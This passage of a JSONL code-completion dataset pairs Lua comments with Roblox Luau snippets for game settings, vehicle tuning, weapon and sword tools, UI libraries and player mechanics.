used to limit user input into a text gui element\n\nConstructors:\n\tnew(textFrame [instance])\n\t\t> Creates a text mask object for the given text frame.\n\nProperties:\n\tFrame [instance]\n\t\t> The text frame that you put as an argument when creating the text mask object.\n\nMethods:\n\t:GetValue() [variant]\n\t\t> Returns the text frame's value converted to the mask type.\n\t\t> For instance if you used a vector3 mask then this would return the value inputted as a vector3\n\t:GetMaskType() [string]\n\t\t> Returns the name of the mask type you are using\n\t:SetMaxLength(len [integer]) [void]\n\t\t> Sets the maximum number of characters the user can input into the text field\n\t\t> By default the max length is 230,000 characters\n\t:SetMaskType(name [string]) [void]\n\t\t> Sets mask type of the mask object. This name should coincide with a child of this module\n\t\t> By default the mask type is always set to \"String\"\n\t:Destroy() [void]\n\t\t> Destroys the mask object and any events, etc used in the purpose of running it.\n\n--]]", "completion": "\n"} +{"prompt": "--// Handling Settings\t\t", "completion": "\n\tFirerate = 60 / 900; -- 60 = 1 Minute, 700 = Rounds per that 60 seconds. DO NOT TOUCH THE 60!\n\t\n\tFireMode = 1; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive\n\t"} +{"prompt": "-- Overrides Keyboard:UpdateJump() because jump is handled in OnRenderStepped", "completion": "\nfunction ClickToMove:UpdateJump()\n\t-- Nothing to do (handled in OnRenderStepped)\nend\n"} +{"prompt": "--[[Susupension]]", "completion": "\n\tTune.SusEnabled\t\t= true\t\t-- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled\n\t\n\t--Front Suspension\n\tTune.FSusDamping\t= 400\t\t-- Spring Dampening\n\tTune.FSusStiffness\t= 17000\t\t-- Spring Force\n\tTune.FSusLength\t\t= .8\t\t-- Resting Suspension length (in studs)\n\tTune.FSusMaxExt\t\t= .15\t\t-- Max Extension Travel (in studs)\n\tTune.FSusMaxComp\t= .05\t\t-- Max Compression Travel (in studs)\n\tTune.FSusAngle\t\t= 75\t\t-- Suspension Angle (degrees from horizontal)\n\t\t\n\tTune.FWsBoneLen\t\t= 6\t\t\t-- Wishbone Length\n\tTune.FWsBoneAngle\t= 3\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.FAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t --[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t --[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\t\n\t--Rear Suspension\n\tTune.RSusDamping\t= 400\t\t-- Spring Dampening\n\tTune.RSusStiffness\t= 17000\t\t-- Spring Force\n\tTune.RSusLength\t\t= .8\t\t-- Resting Suspension length (in studs)\n\tTune.RSusMaxExt\t\t= .15\t\t-- Max Extension Travel (in studs)\n\tTune.RSusMaxComp\t= .05\t\t-- Max Compression Travel (in studs)\n\tTune.RSusAngle\t\t= 80\t\t-- Suspension Angle (degrees from horizontal)\n\t\n\tTune.RWsBoneLen\t\t= 5\t\t\t-- Wishbone Length\n\tTune.RWsBoneAngle\t= 2\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.RAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t --[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t --[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\n\t--Aesthetics\t\n\tTune.SusVisible\t\t= false\t\t\t-- Spring Visible\n\tTune.WsBVisible\t\t= false\t\t\t-- Wishbone Visible\n\tTune.SusRadius\t\t= .2\t\t\t-- Suspension Coil Radius\n\tTune.SusThickness\t= .1\t\t\t-- Suspension Coil Thickness\n\tTune.SusColor\t\t= \"Really red\"\t\t-- Suspension Color [BrickColor]\n\tTune.SusCoilCount\t= 8\t\t\t\t-- Suspension Coil Count\n\tTune.WsColor\t\t= \"Black\"\t\t-- Wishbone Color [BrickColor]\n\tTune.WsThickness\t= .1\t\t\t-- Wishbone Rod Thickness\n\t"} +{"prompt": "--// Handling Settings\t\t", "completion": "\n\tFirerate = 60 / 850; -- 60 = 1 Minute, 700 = Rounds per that 60 seconds. DO NOT TOUCH THE 60!\n\t\n\tFireMode = 2; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive\n\t"} +{"prompt": "--[[\n\tReturns a list of an object's descendants\n\t\n\tINPUT: Object object\n\tOUTPUT: Table descendants\n--]]", "completion": "\n\nreturn function(object)\n\tlocal list = {}\n\t\n\tlocal search;search = function(parent)\n\t\tfor index, child in next, parent:GetChildren() do\n\t\t\ttable.insert(list, child)\n\t\t\tsearch(child)\n\t\tend\n\tend\n\t\n\tsearch(object)\n\t\n\treturn list\nend\n"} +{"prompt": "-- regeneration", "completion": "\nfunction regenHealth()\n\tif regening then return end\n\tregening = true\n\t\n\twhile Humanoid.Health < Humanoid.MaxHealth do\n\t\tlocal s = wait(1)\n\t\tlocal health = Humanoid.Health\n\t\tif health > 0 and health < Humanoid.MaxHealth then\n\t\t\tlocal newHealthDelta = 0.01 * s * Humanoid.MaxHealth\n\t\t\thealth = health + newHealthDelta\n\t\t\tHumanoid.Health = math.min(health,Humanoid.MaxHealth)\n\t\tend\n\tend\n\t\n\tif Humanoid.Health > Humanoid.MaxHealth then\n\t\tHumanoid.Health = Humanoid.MaxHealth\n\tend\n\t\n\tregening = false\nend\n\nHumanoid.HealthChanged:connect(regenHealth)\n"} +{"prompt": "--Responsible for regening a player's humanoid's health", "completion": "\n"} +{"prompt": "--Made by Luckymaxer", "completion": "\n\nModel = script.Parent\n\nDebris = game:GetService(\"Debris\")\n\nFadeRate = 0.025\nRate = (1 / 15)\n\nRemoving = false\n\nfunction RemoveModel()\n\tif Removing then\n\t\treturn\n\tend\n\tlocal Parts = {}\n\tfor i, v in pairs(Model:GetChildren()) do\n\t\tif v:IsA(\"Model\") then\n\t\t\ttable.insert(Parts, v)\n\t\tend\n\tend\n\tif #Parts == 0 then\n\t\tRemoving = true\n\t\tModel.Name = \"\"\n\t\tDebris:AddItem(Model, 0.5)\n\tend\nend\n\nModel.ChildRemoved:connect(function(Child)\n\tRemoveModel()\nend)\n\nwait(1.5)\n\nRemoveModel()\n"} +{"prompt": "-- declarations", "completion": "\nlocal toolAnim = \"None\"\nlocal toolAnimTime = 0\n\nlocal jumpAnimTime = 0\nlocal jumpAnimDuration = 0.31\n\nlocal toolTransitionTime = 0.1\nlocal fallTransitionTime = 0.2\n"} +{"prompt": "-- BEHAVIOUR\n--Controller support", "completion": "\ncoroutine.wrap(function()\n\t\n\t-- Create PC 'Enter Controller Mode' Icon\n\trunService.Heartbeat:Wait() -- This is required to prevent an infinite recursion\n\tlocal Icon = require(iconModule)\n\tlocal controllerOptionIcon = Icon.new()\n\t\t:setProperty(\"internalIcon\", true)\n\t\t:setName(\"_TopbarControllerOption\")\n\t\t:setOrder(100)\n\t\t:setImage(11162828670)\n\t\t:setRight()\n\t\t:setEnabled(false)\n\t\t:setTip(\"Controller mode\")\n\t\t:setProperty(\"deselectWhenOtherIconSelected\", false)\n\n\t-- This decides what controller widgets and displays to show based upon their connected inputs\n\t-- For example, if on PC with a controller, give the player the option to enable controller mode with a toggle\n\t-- While if using a console (no mouse, but controller) then bypass the toggle and automatically enable controller mode\n\tuserInputService:GetPropertyChangedSignal(\"MouseEnabled\"):Connect(IconController._determineControllerDisplay)\n\tuserInputService.GamepadConnected:Connect(IconController._determineControllerDisplay)\n\tuserInputService.GamepadDisconnected:Connect(IconController._determineControllerDisplay)\n\tIconController._determineControllerDisplay()\n\n\t-- Enable/Disable Controller Mode when icon clicked\n\tlocal function iconClicked()\n\t\tlocal isSelected = controllerOptionIcon.isSelected\n\t\tlocal iconTip = (isSelected and \"Normal mode\") or \"Controller mode\"\n\t\tcontrollerOptionIcon:setTip(iconTip)\n\t\tIconController._enableControllerMode(isSelected)\n\tend\n\tcontrollerOptionIcon.selected:Connect(iconClicked)\n\tcontrollerOptionIcon.deselected:Connect(iconClicked)\n\n\t-- Hide/show topbar when indicator action selected in controller mode\n\tuserInputService.InputBegan:Connect(function(input,gpe)\n\t\tif not IconController.controllerModeEnabled then return end\n\t\tif input.KeyCode == Enum.KeyCode.DPadDown then\n\t\t\tif not guiService.SelectedObject and checkTopbarEnabledAccountingForMimic() then\n\t\t\t\tIconController.setTopbarEnabled(true,false)\n\t\t\tend\n\t\telseif input.KeyCode == Enum.KeyCode.ButtonB and not IconController.disableButtonB then\n\t\t\tif IconController.activeButtonBCallbacks == 1 and TopbarPlusGui.Indicator.Image == \"rbxassetid://5278151556\" then\n\t\t\t\tIconController.activeButtonBCallbacks = 0\n\t\t\t\tguiService.SelectedObject = nil\n\t\t\tend\n\t\t\tif IconController.activeButtonBCallbacks == 0 then\n\t\t\t\tIconController._previousSelectedObject = guiService.SelectedObject\n\t\t\t\tIconController._setControllerSelectedObject(nil)\n\t\t\t\tIconController.setTopbarEnabled(false,false)\n\t\t\tend\n\t\tend\n\t\tinput:Destroy()\n\tend)\n\n\t-- Setup overflow icons\n\tfor alignment, detail in pairs(alignmentDetails) do\n\t\tif alignment ~= \"mid\" then\n\t\t\tlocal overflowName = \"_overflowIcon-\"..alignment\n\t\t\tlocal overflowIcon = Icon.new()\n\t\t\t\t:setProperty(\"internalIcon\", true)\n\t\t\t\t:setImage(6069276526)\n\t\t\t\t:setName(overflowName)\n\t\t\t\t:setEnabled(false)\n\t\t\tdetail.overflowIcon = overflowIcon\n\t\t\toverflowIcon.accountForWhenDisabled = true\n\t\t\tif alignment == \"left\" then\n\t\t\t\toverflowIcon:setOrder(math.huge)\n\t\t\t\toverflowIcon:setLeft()\n\t\t\t\toverflowIcon:set(\"dropdownAlignment\", \"right\")\n\t\t\telseif alignment == \"right\" then\n\t\t\t\toverflowIcon:setOrder(-math.huge)\n\t\t\t\toverflowIcon:setRight()\n\t\t\t\toverflowIcon:set(\"dropdownAlignment\", \"left\")\n\t\t\tend\n\t\t\toverflowIcon.lockedSettings = {\n\t\t\t\t[\"iconImage\"] = true,\n\t\t\t\t[\"order\"] = true,\n\t\t\t\t[\"alignment\"] = true,\n\t\t\t}\n\t\tend\n\tend\n\n\n\n\n\n\t-- This checks if voice chat is enabled\n\ttask.defer(function()\n\t\tlocal success, enabledForUser\n\t\twhile true do\n\t\t\tsuccess, enabledForUser = pcall(function() return voiceChatService:IsVoiceEnabledForUserIdAsync(localPlayer.UserId) end)\n\t\t\tif success then\n\t\t\t\tbreak\n\t\t\tend\n\t\t\ttask.wait(1)\n\t\tend\n\t\tlocal function checkVoiceChatManuallyEnabled()\n\t\t\tif IconController.voiceChatEnabled then\n\t\t\t\tif success and enabledForUser then\n\t\t\t\t\tvoiceChatIsEnabledForUserAndWithinExperience = true\n\t\t\t\t\tIconController.updateTopbar()\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tcheckVoiceChatManuallyEnabled()\n\t\t\n\t\t--------------- FEEL FREE TO DELETE THIS IS YOU DO NOT USE VOICE CHAT WITHIN YOUR EXPERIENCE ---------------\n\t\tlocalPlayer.PlayerGui:WaitForChild(\"TopbarPlus\", 999)\n\t\ttask.delay(10, function()\n\t\t\tcheckVoiceChatManuallyEnabled()\n\t\t\tif IconController.voiceChatEnabled == nil and success and enabledForUser and isStudio then\n\t\t\t\twarn(\"\u26a0\ufe0fTopbarPlus Action Required\u26a0\ufe0f If VoiceChat is enabled within your experience it's vital you set IconController.voiceChatEnabled to true ``require(game.ReplicatedStorage.Icon.IconController).voiceChatEnabled = true`` otherwise the BETA label will not be accounted for within your live servers. This warning will disappear after doing so. Feel free to delete this warning or to set to false if you don't have VoiceChat enabled within your experience.\")\n\t\t\tend\n\t\tend)\n\t\t------------------------------------------------------------------------------------------------------------\n\n\tend)\n\t\n\t\n\t\n\n\n\tif not isStudio then\n\t\tlocal ownerId = game.CreatorId\n\t\tlocal groupService = game:GetService(\"GroupService\")\n\t\tif game.CreatorType == Enum.CreatorType.Group then\n\t\t\tlocal success, ownerInfo = pcall(function() return groupService:GetGroupInfoAsync(game.CreatorId).Owner end)\n\t\t\tif success then\n\t\t\t\townerId = ownerInfo.Id\n\t\t\tend\n\t\tend\n\t\tlocal version = require(iconModule.VERSION)\n\t\tif localPlayer.UserId ~= ownerId then\n\t\t\tlocal marketplaceService = game:GetService(\"MarketplaceService\")\n\t\t\tlocal success, placeInfo = pcall(function() return marketplaceService:GetProductInfo(game.PlaceId) end)\n\t\t\tif success and placeInfo then\n\t\t\t\t-- Required attrbute for using TopbarPlus\n\t\t\t\t-- This is not printed within stuido and to the game owner to prevent mixing with debug prints\n\t\t\t\tlocal gameName = placeInfo.Name\n\t\t\t\tprint((\"\\n\\n\\n\u26bd %s uses TopbarPlus %s\\n\ud83c\udf4d TopbarPlus was developed by ForeverHD and the Nanoblox Team\\n\ud83d\ude80 You can learn more and take a free copy by searching for 'TopbarPlus' on the DevForum\\n\\n\"):format(gameName, version))\n\t\t\tend\n\t\tend\n\tend\n\nend)()\n"} +{"prompt": "------------------------------------------------", "completion": "\n\nUIS.InputBegan:Connect(function(input, processed)\n\tif not processed then\n\t\tif UIS:IsKeyDown(Enum.KeyCode.LeftShift) then\n\t\t\tif UIS:IsKeyDown(Enum.KeyCode.C) then\n\t\t\t\tif freeCamEnabled then\n\t\t\t\t\tExitFreecam()\n\t\t\t\telse\n\t\t\t\t\tEnterFreecam()\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend)\n"} +{"prompt": "--[[Wheel Alignment]]", "completion": "\n\t--[Don't physically apply alignment to wheels]\n\t--[Values are in degrees]\n\tTune.FCamber\t\t= -1\n\tTune.RCamber\t\t= -1\n\tTune.FToe\t\t\t= 0\n\tTune.RToe\t\t\t= 0\n\t"} +{"prompt": "--When the button is pushed, it makes something appear. This is tricky, because you need to\n--actually make the thing that is to appear first. This is the general idea:\n--Game starts, saves the object for later spawning, removes the object from the game, and waits\n--for the button to be pushed to insert a clone of the saved object (if money check is ok). Study the code AND the objects \n--in the game to understand how this works. If the object that should be spawned is missing, you need \n--to make it first, because you probably saved this place after it was removed at the very beginning of the map.\n--If this is the case, then make whatever, and put it in a group called \"MoneyUpgradeModel\"", "completion": "\n"} +{"prompt": "-- Child can be `number` in Stack renderer but not in Fiber renderer.", "completion": "\ntype ReactTestChild = ReactTestObject | string | number\n"} +{"prompt": "--[[Weight and CG]]", "completion": "\n\tTune.Weight\t\t\t= 3000\t\t-- Total weight (in pounds)\n\tTune.WeightBSize\t= {\t\t\t-- Size of weight brick (dimmensions in studs ; larger = more stable)\n\t --[[Width]]\t\t6\t\t,\n\t --[[Height]]\t\t3.5\t\t,\n\t --[[Length]]\t\t14\t\t}\n\tTune.WeightDist\t\t= 50\t\t-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)\n\tTune.CGHeight\t\t= .8\t\t-- Center of gravity height (studs relative to median of all wheels)\n\tTune.WBVisible\t\t= false\t\t-- Makes the weight brick visible\n\t\n\t--Unsprung Weight\n\tTune.FWheelDensity\t= .1\t\t-- Front Wheel Density\n\tTune.RWheelDensity\t= .1\t\t-- Rear Wheel Density\n\tTune.FWLgcyDensity\t= 1\t\t\t-- Front Wheel Density [PGS OFF]\n\tTune.RWLgcyDensity\t= 1\t\t\t-- Rear Wheel Density [PGS OFF]\n\t\n\tTune.AxleSize\t\t= 2\t\t\t-- Size of structural members (larger = more stable/carry more weight)\n\tTune.AxleDensity\t= .1\t\t-- Density of structural members\n\t"} +{"prompt": "--[=[\n\t@return value: any\n\tReturns the value in the option, or throws an error if the option is None.\n]=]", "completion": "\nfunction Option:Unwrap()\n\treturn self:Expect(\"Cannot unwrap option of None type\")\nend\n\n"} +{"prompt": "-- Figure out the next scene to load when one finishes.", "completion": "\nEventSequencer.onOrchestrationFinished:Connect(function(endedSceneName)\t\n\tif endedSceneName == PSV_SCENE.Name then\n\t\t-- PreShowVenue just ended. Now load the first scene in the show.\n\t\tlocal scene1 = SHOW_SCENES[1]\n\t\tif scene1 then\n\t\t\tEventSequencer.loadScene(scene1.Name)\n\t\telse\n\t\t\twarn(\"There are no scenes in the show list to load.\")\n\t\t\tloadPreShowVenue()\n\t\tend\n\telse\n\t\t-- Find the ended-scene in the show list so that we know what to load next.\n\t\tfor i,scene in ipairs(SHOW_SCENES) do\n\t\t\tif scene.Name == endedSceneName then\n\t\t\t\tif i < #SHOW_SCENES then\n\t\t\t\t\t-- Load the next scene.\n\t\t\t\t\tEventSequencer.loadScene(SHOW_SCENES[i+1].Name)\n\t\t\t\telse\n\t\t\t\t\t-- Last scene in the show ended. Load the PreShowVenue.\n\t\t\t\t\tloadPreShowVenue()\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend)\n\n"} +{"prompt": "--// Probabilities", "completion": "\n\tJamChance = 0; -- This is percent scaled. For 100% Chance of jamming, put 100, for 0%, 0; and everything inbetween\n\tTracerChance = 100; -- This is the percen scaled. For 100% Chance of showing tracer, put 100, for 0%, 0; and everything inbetween\n\t"} +{"prompt": "--[[Steering]]", "completion": "\n\tTune.SteeringType\t= 'New'\t\t-- New = Precise steering calculations based on real life steering assembly (LuaInt)\n\t\t\t\t\t\t\t\t\t-- Old = Previous steering calculations\n\t-- New Options\n\tTune.SteerRatio\t\t= 15/1\t\t-- Steering ratio of your steering rack, google it for your car\n\tTune.LockToLock\t\t= 2.6\t\t-- Number of turns of the steering wheel lock to lock, google it for your car\n\tTune.Ackerman\t\t= .9\t\t-- If you don't know what it is don't touch it, ranges from .7 to 1.2\n\n\t-- Old Options\n\tTune.SteerInner\t\t= 45\t\t-- Inner wheel steering angle (in degrees)\n\tTune.SteerOuter\t\t= 38\t\t-- Outer wheel steering angle (in degrees)\n\t\n\t-- General Steering\n\tTune.SteerSpeed\t\t= .05\t\t-- Steering increment per tick (in degrees)\n\tTune.ReturnSpeed\t= .1\t\t-- Steering increment per tick (in degrees)\n\tTune.SteerDecay\t\t= 330\t\t-- Speed of gradient cutoff (in SPS)\n\tTune.MinSteer\t\t= 10\t\t-- Minimum steering at max steer decay (in percent)\n\tTune.MSteerExp\t\t= 1\t\t\t-- Mouse steering exponential degree\n\t\n\t-- Steer Gyro Tuning, avoid changing these\n\tTune.SteerD\t\t\t= 1000\t\t-- Steering Dampening\n\tTune.SteerMaxTorque\t= 50000\t\t-- Steering Force\n\tTune.SteerP\t\t\t= 100000\t-- Steering Aggressiveness\n\n\t--Four Wheel Steering (LuaInt)\n\tTune.FWSteer\t\t\t= 'None'\t-- Static, Speed, Both, or None\n\tTune.RSteerOuter\t\t= 10\t\t-- Outer rear wheel steering angle (in degrees)\n\tTune.RSteerInner\t\t= 10\t\t-- Inner rear wheel steering angle (in degrees)\n\tTune.RSteerSpeed\t\t= 60\t\t-- Speed at which 4WS fully activates (Speed), deactivates (Static), or transition begins (Both) (SPS)\n\tTune.RSteerDecay\t\t= 330\t\t-- Speed of gradient cutoff (in SPS)\n\n\t-- Rear Steer Gyro Tuning, avoid changing these\n\tTune.RSteerD\t\t\t= 1000\t\t-- Steering Dampening\n\tTune.RSteerMaxTorque\t= 50000\t\t-- Steering Force\n\tTune.RSteerP\t\t\t= 100000\t-- Steering Aggressiveness\n\t"} +{"prompt": "--If it is a new location, it adds to table", "completion": "\n\nlocal function chunkExists(chunkX, chunkZ)\n\n\tif not chunks[chunkX] then\n\n\t\tchunks[chunkX] = {}\n\n\tend\n\n\treturn chunks[chunkX][chunkZ]\n\nend\n\n\n"} +{"prompt": "--// Declarables", "completion": "\nlocal L_5_ = L_1_:WaitForChild('Resource')\nlocal L_6_ = L_5_:WaitForChild('FX')\nlocal L_7_ = L_5_:WaitForChild('Events')\nlocal L_8_ = L_5_:WaitForChild('HUD')\nlocal L_9_ = L_5_:WaitForChild('Modules')\nlocal L_10_ = L_5_:WaitForChild('Vars')\nlocal L_11_ = L_5_:WaitForChild('SettingsModule')\nlocal L_12_ = require(L_11_:WaitForChild('ServerConfig'))\nlocal L_13_ = L_5_:WaitForChild('Nodes')\nlocal L_14_\n\nlocal L_15_\nlocal L_16_\n\nlocal L_17_\nlocal L_18_\nlocal L_19_\n\nlocal L_20_\nlocal L_21_\nlocal L_22_\nlocal L_23_\nlocal L_24_\nlocal L_25_\n\nlocal L_26_\nlocal L_27_\n"} +{"prompt": "--Added those two (if player/if not player) in so this wouldn't break if you used it on AI, or something of the sort. ", "completion": "\n\n\n\tend\nend\n\n\nfunction tagHumanoid(humanoid, player)\n\tlocal creator_tag = Instance.new(\"ObjectValue\")\n\tcreator_tag.Value = player\n\tcreator_tag.Name = \"creator\"\n\tcreator_tag.Parent = humanoid\nend\n\nfunction untagHumanoid(humanoid)\n\tif humanoid ~= nil then\n\t\tlocal tag = humanoid:findFirstChild(\"creator\")\n\t\tif tag ~= nil then\n\t\t\ttag.Parent = nil\n\t\tend\n\tend\nend\n\n\nfunction attack()\n\tdamage = slash_damage\n\tSlashSound:play()\n\tlocal anim = Instance.new(\"StringValue\")\n\tanim.Name = \"toolanim\"\n\tanim.Value = \"Slash\"\n\tanim.Parent = Tool\nend\nlocal fx=script.Parent:FindFirstChild(\"Blade\")\nlocal fx2=script.Parent.Blade:FindFirstChild(\"Stroke\")\n\nfunction lunge()\n\tdamage = lunge_damage\n\n\tLungeSound:play()\n\n\tlocal anim = Instance.new(\"StringValue\")\n\tanim.Name = \"toolanim\"\n\tanim.Value = \"Lunge\"\n\tanim.Parent = Tool\n\t\n\t\n\tlocal force = Instance.new(\"BodyVelocity\")\n\tforce.velocity = Vector3.new(0,10,0) \n\tforce.maxForce = Vector3.new(0,4000,0) -- ADD THIS TO CHANGE MOMENTUM\n\tforce.Parent = Tool.Parent.Torso\n\tif fx and fx2 and fxToggled then fx2.Enabled=true end\n\twait(.25)\n\tswordOut()\n\twait(.25)\n\tforce.Parent = nil\n\twait(.5)\n\tswordUp()\n\tif fx and fx2 then fx2.Enabled=false end\n\n\tdamage = slash_damage\nend\n\nfunction swordUp()\n\tTool.GripForward = Vector3.new(1, 0, 0)\n\tTool.GripRight = Vector3.new(0, 0, -1)\n\tTool.GripUp = Vector3.new(0, -1, 0)\nend\n\nfunction swordOut()\n\tTool.GripForward = Vector3.new(1, 0, 0)\n\tTool.GripRight = Vector3.new(0, 0, -1)\n\tTool.GripUp = Vector3.new(-20, -1, 0)\nend\n\nfunction swordAcross()\n\t-- parry\nend\n\n\nTool.Enabled = true\nlocal last_attack = 0\nfunction onActivated()\n\n\tif not Tool.Enabled then\n\t\treturn\n\tend\n\n\tTool.Enabled = false\n\n\tlocal character = Tool.Parent;\n\tlocal humanoid = character.Humanoid\n\tif humanoid == nil then\n\t\tprint(\"Humanoid not found\")\n\t\treturn \n\tend\n\n\tlocal t = r.Stepped:wait()\n\n\tif (t - last_attack < .2) then\n\t\tlunge()\n\telse\n\t\tattack()\n\tend\n\n\tlast_attack = t\n\n\t--wait(.5)\n\n\tTool.Enabled = true\nend\n\n\nfunction onEquipped()\n\tUnsheathSound:play()\nend\nscript.Parent.Effects.OnServerEvent:connect(function(p,toggle)\n\tlocal ch=script.Parent.Blade:GetChildren()\n\tfor i=1,#ch do \n\t\tif ch[i].ClassName==\"ParticleEmitter\" or ch[i].ClassName==\"PointLight\" then\n\t\t\tch[i].Enabled=toggle\n\t\tend\n\tend\n\tspawn(function()\n\t\twait(.5)\n\t\tscript.Parent.Blade.Stroke.Enabled=false\n\tend)\n\tfxToggled=toggle\n\tif not toggle then\n\t\tscript.Parent.Blade.Material=Enum.Material.Metal\n\t\tscript.Parent.Blade.BrickColor=BrickColor.new(\"Institutional white\")\n\t\tdamage=5\n\t\tslash_damage=10\n\t\tlunge_damage=30\n\n\telse\n\t\tscript.Parent.Blade.Material=Enum.Material.Neon\n\t\tscript.Parent.Blade.BrickColor=BrickColor.new(\"Cool yellow\")\n\t\tdamage=15\n\t\tslash_damage=20\n\t\tlunge_damage=50\n\tend\nend)\n\nscript.Parent.Activated:connect(onActivated)\nscript.Parent.Equipped:connect(onEquipped)\n\n\nconnection = sword.Touched:connect(blow)\n\n\n"} +{"prompt": "--// KeyBindings", "completion": "\n\tFireSelectKey = Enum.KeyCode.V;\n\tCycleSightKey = Enum.KeyCode.T;\n\tLaserKey = Enum.KeyCode.G;\n\tLightKey = Enum.KeyCode.B;\n\tInteractKey = Enum.KeyCode.E;\n\tAlternateAimKey = Enum.KeyCode.Z;\n\tInspectionKey = Enum.KeyCode.H;\n\t"} +{"prompt": "--[[\nCopyright (c) 2014 Ga\u00ebtan Renaudeau\nPermission is hereby granted, free of charge, to any person\nobtaining a copy of this software and associated documentation\nfiles (the \"Software\"), to deal in the Software without\nrestriction, including without limitation the rights to use,\ncopy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the\nSoftware is furnished to do so, subject to the following\nconditions:\nThe above copyright notice and this permission notice shall be\nincluded in all copies or substantial portions of the Software.\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\nOF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\nNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\nHOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\nWHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\nFROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\nOTHER DEALINGS IN THE SOFTWARE.\n--]]", "completion": "\n"} +{"prompt": "----------------------------------------------------------------------------------------------------\n------------------=[ Status UI ]=-------------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,EnableStatusUI = true\t\t\t\t--- Don't disabled it...\n\t,RunWalkSpeed = 22\n\t,NormalWalkSpeed = 16\n\t,SlowPaceWalkSpeed = 8\t\n\t,CrouchWalkSpeed = 8\n\t,ProneWalksSpeed = 4\n\n\t,EnableHunger = false\t\t\t\t--- Hunger and Thirst system\n\t,HungerWaitTime = 25\n\n\t,CanDrown = true \t\t\t\t\t--- Welp.. That's it\n\t\n\t,EnableStamina = true \t\t\t\t--- Weapon Sway based on stamina\t\n\t,RunValue = 1\t\t\t\t\t\t--- Stamina consumption\n\t,StandRecover = .25\t\t\t\t\t--- Stamina recovery while stading\n\t,CrouchRecover = .5\t\t\t\t\t--- Stamina recovery while crouching\n\t,ProneRecover = 1\t\t\t\t\t--- Stamina recovery while lying\n\n\t,EnableGPS = true\t\t\t\t\t--- GPS shows your allies around you\n\t,GPSdistance = 50\n\n\t,InteractionMenuKey = Enum.KeyCode.LeftControl"} +{"prompt": "--------------------[ TEXTURE CREATION FUNCTIONS ]------------------------------------", "completion": "\n\nfunction createBullet(Direction)\n\tlocal Origin = Gun.Main.CFrame.p\n\tlocal bulletCF = CF(Origin, Origin + Direction)\n\tlocal Bullet = Instance.new(\"Part\")\n\tBullet.BrickColor = S.bulletSettings.Color\n\tBullet.Material = Enum.Material.Neon\n\tBullet.Name = \"Bullet\"\n\tBullet.CanCollide = false\n\tBullet.FormFactor = \"Custom\"\n\tBullet.Size = S.bulletSettings.Size\n\tBullet.BottomSurface = \"Smooth\"\n\tBullet.TopSurface = \"Smooth\"\n\tif math.min(S.bulletSettings.Size.X, S.bulletSettings.Size.Y, S.bulletSettings.Size.Z) < 0.2 then\n\t\tlocal Mesh = Instance.new(\"BlockMesh\")\n\t\tMesh.Scale = S.bulletSettings.Size / Vector3.new(\n\t\t\tmath.max(S.bulletSettings.Size.X, 0.2),\n\t\t\tmath.max(S.bulletSettings.Size.Y, 0.2),\n\t\t\tmath.max(S.bulletSettings.Size.Z, 0.2)\n\t\t)\n\t\tMesh.Parent = Bullet\n\tend\n\tlocal BF = Instance.new(\"BodyForce\")\n\tBF.force = V3(0, Bullet:GetMass() * (196.2 - S.bulletSettings.Acceleration), 0)\n\tBF.Parent = Bullet\n\tBullet.Parent = gunIgnore\n\tBullet.CFrame = bulletCF + Direction * S.bulletSettings.Size.Z / 2\n\tBullet.Velocity = Direction * S.bulletSettings.Velocity\n\treturn Bullet\nend\n"} +{"prompt": "--[[START]]", "completion": "\n\n\tscript.Parent:WaitForChild(\"Car\")\n\tscript.Parent:WaitForChild(\"IsOn\")\n\tscript.Parent:WaitForChild(\"ControlsOpen\")\n\tscript.Parent:WaitForChild(\"Values\")\n"} +{"prompt": "-- checks when ground is close enough to disable skydiving or if a player fell off the map", "completion": "\nlocal function makeSkydiveConnection()\n\tlocal connection = RunService.Heartbeat:Connect(function()\n\t\tif player.Character == nil then\n\t\t\treturn\n\t\tend\n\n\t\tif player.Character.PrimaryPart == nil then\n\t\t\treturn\n\t\tend\n\n\t\tif Skydive:isSkydiving() then\n\t\t\tlocal raycastParams = RaycastParams.new()\n\t\t\traycastParams.FilterDescendantsInstances = { Environment, ServerEnvironment, workspace.Terrain }\n\t\t\traycastParams.FilterType = Enum.RaycastFilterType.Whitelist\n\t\t\tlocal raycastResult = workspace:Raycast(\n\t\t\t\tplayer.Character.PrimaryPart.Position,\n\t\t\t\tVector3.new(0, -5, 0),\n\t\t\t\traycastParams\n\t\t\t)\n\n\t\t\tif raycastResult and raycastResult.Instance and raycastResult.Instance.Transparency == 0 then\n\t\t\t\tSkydive:stop()\n\t\t\telseif raycastResult and raycastResult.Instance and not raycastResult.Instance:IsA(\"BasePart\") then\n\t\t\t\tSkydive:stop()\n\t\t\tend\n\t\tend\n\n\t\tif player.Character.PrimaryPart.Position.Y < TELEPORT_BACK_HEIGHT then\n\t\t\tteleportPlayerToSkydive()\n\n\t\t\tif not Skydive:isSkydiving() 